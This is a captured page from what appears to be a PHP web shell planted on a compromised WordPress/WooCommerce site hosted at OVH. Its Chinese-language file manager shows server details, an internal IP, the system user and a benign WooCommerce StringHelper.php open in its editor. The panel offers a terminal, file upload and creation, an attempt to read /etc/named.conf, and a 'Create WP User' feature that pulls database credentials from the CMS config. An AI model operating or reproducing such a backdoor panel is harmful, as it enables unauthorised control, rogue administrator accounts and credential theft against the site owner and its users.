Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
Internal
/
ProductFeed
/
Utils
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
MemoryManager.php
2.90 KB
-rw-r--r--
2026-03-03 00:17
StringHelper.php
1.19 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
StringHelper.php
<?php /** * String Helper class. * * @package Automattic\WooCommerce\Internal\ProductFeed */ declare(strict_types=1); namespace Automattic\WooCommerce\Internal\ProductFeed\Utils; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * String utility helper functions * * @since 10.5.0 */ class StringHelper { /** * Convert value to boolean string ('true' or 'false') * * @since 10.5.0 * * @param mixed $value Value to convert. * @return string 'true' or 'false'. */ public static function bool_string( $value ): string { if ( is_bool( $value ) ) { return $value ? 'true' : 'false'; } if ( is_scalar( $value ) || null === $value ) { $value = strtolower( (string) $value ); } else { $value = ''; } return ( 'true' === $value || '1' === $value || 'yes' === $value ) ? 'true' : 'false'; } /** * Truncate text to specified length * * @since 10.5.0 * * @param string $text Text to truncate. * @param int $max_length Maximum length. * @return string Truncated text. */ public static function truncate( string $text, int $max_length ): string { if ( mb_strlen( $text ) > $max_length ) { return mb_substr( $text, 0, $max_length ); } return $text; } }
关闭
保存